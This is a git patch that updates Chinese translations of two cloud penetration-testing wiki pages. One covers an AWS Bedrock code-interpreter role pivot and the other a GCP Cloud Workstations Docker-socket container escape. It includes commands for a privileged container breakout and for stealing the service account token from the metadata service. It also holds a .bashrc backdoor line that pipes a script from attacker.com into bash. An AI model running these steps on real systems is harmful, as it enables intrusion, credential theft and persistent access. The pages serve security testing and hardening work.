From 91752350b5b5c7b80a521733fd6cb525f0d50545 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 13 Feb 2026 10:27:06 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat --- .../aws-bedrock-privesc/README.md | 43 ++++++++++--------- .../gcp-cloud-workstations-privesc.md | 30 ++++++------- 2 files changed, 37 insertions(+), 36 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md index f68833fd7..948352e5c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md @@ -6,20 +6,21 @@ ### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot -AgentCore Code Interpreter 是一个托管的执行环境。**Custom Code Interpreters** 可以配置一个 **`executionRoleArn`**，该字段“provides permissions for the code interpreter to access AWS services”。 +AgentCore Code Interpreter 是一个受管的执行环境。**Custom Code Interpreters** 可以配置一个 **`executionRoleArn`**，该字段“为 code interpreter 提供访问 AWS 服务的权限”。 -如果一个 **lower-privileged IAM principal** 能够 **start + invoke** 一个配置了 **more privileged execution role** 的 Code Interpreter 会话，调用者即可有效地 **pivot into the execution role’s permissions**（视角色范围而定，可能为横向移动 / 权限提升）。 +如果一个**权限较低的 IAM principal** 能够**start + invoke** 一个配置为使用更高权限 execution role 的 Code Interpreter 会话，调用者就可以有效地**切换到该 execution role 的权限**（根据角色范围，这可能是横向移动或权限提升）。 > [!NOTE] -> 这通常是一个 **misconfiguration / excessive permissions** 问题（将过宽的权限赋予 interpreter execution role 和/或 授予广泛的 invoke 访问）。AWS 明确警告要通过确保 execution roles 相对于被允许调用的身份具有 **equal or fewer** 权限来避免权限提升。 +> 这通常是一个**配置错误 / 权限过度**的问题（例如给 interpreter 的 execution role 授予了过宽的权限和/或授予了广泛的 invoke 访问权限）。 +> AWS 明确警告，应通过确保 execution roles 的权限**不超过**被允许调用的主体来避免权限提升。 #### Preconditions (common misconfiguration) -- 存在一个具有过多权限的 **custom code interpreter**，并绑定了一个过度权限的 **execution role**（例如：可访问敏感的 S3/Secrets/SSM 或具备类似 IAM-admin 的能力）。 -- 一个用户（developer/auditor/CI 身份）拥有以下权限： -- start sessions: `bedrock-agentcore:StartCodeInterpreterSession` -- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter` -- （可选）该用户还可以创建 interpreters：`bedrock-agentcore:CreateCodeInterpreter`（允许他们根据组织的 guardrails 创建一个配置了 execution role 的新 interpreter）。 +- 存在一个权限过大的 **custom code interpreter**，其 **execution role** 权限过宽（例如：可以访问敏感的 S3/Secrets/SSM 或具有类似 IAM 管理的能力）。 +- 一个用户（开发者/审计员/CI 身份）拥有以下权限： +- 启动会话：`bedrock-agentcore:StartCodeInterpreterSession` +- 调用工具：`bedrock-agentcore:InvokeCodeInterpreter` +- （可选）该用户也可以创建 interpreter：`bedrock-agentcore:CreateCodeInterpreter`（允许他们根据组织的 guardrails 创建一个配置了 execution role 的新 interpreter）。 #### Recon (identify custom interpreters and execution role usage) @@ -28,9 +29,9 @@ AgentCore Code Interpreter 是一个托管的执行环境。**Custom Code Interp aws bedrock-agentcore-control list-code-interpreters aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id ```` -> create-code-interpreter 命令支持 `--execution-role-arn`，用于定义解释器将具备哪些 AWS 权限。 +> create-code-interpreter 命令支持 `--execution-role-arn`，用于定义该解释器将拥有的 AWS 权限。 -#### 第 1 步 - 启动会话（这会返回一个 `sessionId`，而不是 interactive shell） +#### 步骤 1 - 启动会话（这会返回一个 `sessionId`，而不是交互式 shell） ```bash SESSION_ID=$( aws bedrock-agentcore start-code-interpreter-session \ @@ -42,9 +43,9 @@ aws bedrock-agentcore start-code-interpreter-session \ echo "SessionId: $SESSION_ID" ``` -#### 步骤 2 - 调用代码执行 (Boto3 or signed HTTPS) +#### 第2步 - 调用代码执行（Boto3 或 签名的 HTTPS） -没有来自 `start-code-interpreter-session` 的**交互式 python shell**。执行是通过 **InvokeCodeInterpreter** 进行的。 +没有来自 `start-code-interpreter-session` 的**interactive python shell**。执行是通过 **InvokeCodeInterpreter** 进行的。 **选项 A - Boto3 示例（执行 Python + 验证身份）：** ```python @@ -67,9 +68,9 @@ arguments={ for event in resp.get("stream", []): print(event) ``` -如果解释器配置了执行角色，`sts:GetCallerIdentity()` 的输出应反映该角色的身份（而不是低权限调用者），以证明 pivot。 +如果解释器配置了 execution role，`sts:GetCallerIdentity()` 的输出应该反映该 role 的身份（而不是 low-priv caller），从而证明 pivot。 -**选项 B - 已签名的 HTTPS 调用 (awscurl):** +**选项 B - 签名的 HTTPS 调用 (awscurl):** ```bash awscurl -X POST \ "https://bedrock-agentcore..amazonaws.com/code-interpreters//tools/invoke" \ @@ -88,16 +89,16 @@ awscurl -X POST \ ``` #### 影响 -* **横向移动**：进入 interpreter 执行角色所拥有的任何 AWS 访问权限。 -* **权限提升**：如果 interpreter 执行角色比调用者拥有更高权限。 -* 如果未为 interpreter 调用启用 CloudTrail 数据事件，则更难检测（根据配置，调用默认可能不会被记录）。 +* **Lateral movement** 到 解释器执行角色拥有的任何 AWS 访问权限。 +* **Privilege escalation** 如果解释器执行角色比调用者拥有更高权限。 +* 如果未为解释器调用启用 CloudTrail 数据事件，则检测更困难（根据配置，调用默认可能不会被记录）。 #### 缓解 / 加固 -* **最小权限**：对 interpreter `executionRoleArn` 实施最小权限原则（如同对待 Lambda 执行角色 / CI 角色）。 -* **限制谁可以调用**（`bedrock-agentcore:InvokeCodeInterpreter`）以及谁可以启动会话。 -* 使用 **SCPs** 拒绝 InvokeCodeInterpreter（除经批准的 agent 运行时角色外），可能需要在组织级别强制执行。 -* 在适用情况下为 AgentCore 启用相应的 **CloudTrail 数据事件**；对意外调用和会话创建设置告警。 +* 对解释器 `executionRoleArn` 实施 **Least privilege**（将其当作 Lambda 执行角色 / CI 角色来处理）。 +* **限制谁可以调用** (`bedrock-agentcore:InvokeCodeInterpreter`) 以及谁可以启动会话。 +* 使用 **SCPs** 拒绝 InvokeCodeInterpreter，除非针对已批准的 agent runtime roles（可能需要在组织级别强制执行）。 +* 在适用情况下为 AgentCore 启用适当的 **CloudTrail data events**；对异常的调用和会话创建发出警报。 ## References diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md index 07e4b34a8..100956e9c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md @@ -3,16 +3,16 @@ ### Container Breakout via Docker Socket (Container -> VM -> Project) -在 Cloud Workstations 中，主要的 privilege escalation 路径源于需要为开发者支持 **Docker-in-Docker (DinD)** 工作流。When the workstation configuration mounts the Docker socket or allows privileged containers（这是常见配置），工作站容器内的攻击者可以逃逸到底层的 Compute Engine VM 并窃取其 service account token。 +Cloud Workstations 中的主要权限提升路径来源于必须支持 **Docker-in-Docker (DinD)** 的开发工作流。当 workstation 配置挂载 Docker socket 或允许 privileged containers（常见配置）时，位于 workstation 容器内的攻击者可以逃逸到底层的 Compute Engine VM 并窃取其服务帐号令牌。 -**前提条件:** -- 可访问 Cloud Workstation 终端（通过 SSH、被入侵的会话，或 stolen credentials） +**前提条件：** +- 访问 Cloud Workstation 终端（通过 SSH、被入侵的会话，或被盗凭证） - 工作站配置必须挂载 `/var/run/docker.sock` 或启用 privileged containers -**架构上下文:** 工作站是运行在 GCE VM（Layer 1）上的 Docker/Containerd 运行时（Layer 2）中的一个容器（Layer 3）。Docker socket 可直接访问主机的容器运行时。 +**架构上下文：** 工作站是一个容器（Layer 3），运行在 GCE VM（Layer 1）上的 Docker/Containerd 运行时（Layer 2）。Docker socket 可直接访问宿主机的容器运行时。 > [!NOTE] -> 该工具 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 自动化完整的 container escape 并将你置于主机 VM 的 root shell。 +> 该工具 [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 自动化完整的容器逃逸并将你置于宿主 VM 的 root shell。
@@ -26,7 +26,7 @@ ls -l /var/run/docker.sock
-Step 2: Escape to the host VM filesystem +步骤 2：逃逸到主机 VM 文件系统 我们启动了一个特权容器，将主机的根目录挂载到 `/mnt/host`。我们还共享主机的网络和 PID 命名空间以最大化可见性。 ```bash @@ -38,13 +38,13 @@ alpine sh # Inside the new container, chroot into the host chroot /mnt/host /bin/bash ``` -你现在拥有 **root shell on the underlying Compute Engine VM** (Layer 1)。 +您现在拥有 **root shell on the underlying Compute Engine VM**（第 1 层）。
-步骤 3：从 IMDS 窃取 VM 服务账户令牌 +步骤 3：从 IMDS 窃取 VM service account token ```bash # From the host VM, query the Instance Metadata Service curl -s -H "Metadata-Flavor: Google" \ @@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
> [!CAUTION] -> **检查 Scopes！** -> 即使附加的 Service Account 是 **Editor**，VM 仍可能被访问范围限制。 -> 如果看到 `https://www.googleapis.com/auth/cloud-platform`，则拥有完整访问权限。 -> 如果只看到 `logging.write` 和 `monitoring.write`，则仅限于下方的 **Network Pivot** 和 **Persistence** 向量。 +> **检查权限范围！** +> 即使关联的 Service Account 是 **Editor**，VM 也可能被访问范围所限制。 +> 如果你看到 `https://www.googleapis.com/auth/cloud-platform`，则拥有完全访问权限。 +> 如果你只看到 `logging.write` 和 `monitoring.write`，则仅限于下面的 **Network Pivot** 和 **Persistence** 向量。
-Step 4: Achieve Persistence (Backdoor the User) +步骤 4: Achieve Persistence (Backdoor the User) -Cloud Workstations 将一个持久磁盘挂载到 `/home/user`。由于容器用户（通常是 `user`，UID 1000）与宿主机用户（UID 1000）匹配，你可以写入宿主的主目录。这样即使 workstation 容器被重建，你也可以 backdoor 环境，实现持久化。 +Cloud Workstations 会把持久磁盘挂载到 `/home/user`。由于容器内的用户（通常为 `user`，UID 1000）与主机上的用户（UID 1000）匹配，你可以写入主机的 home 目录。这使你能够 backdoor 环境，即使 workstation container 被重建也能保留后门。 ```bash # Check if you can write to the host's persistent home ls -la /mnt/host/home/user/ @@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc 步骤 5: Network Pivot (Internal VPC Access) -既然你共享主机的网络命名空间 (`--net=host`)，你现在是 VPC 上的受信任节点。你可以扫描允许基于 IP whitelisting 的内部服务。 +由于你共享主机网络命名空间 (`--net=host`)，你现在是 VPC 上的受信任节点。你可以扫描基于 IP whitelisting 允许访问的内部服务。 ```bash # Install scanning tools on the host (if internet access allows) apk add nmap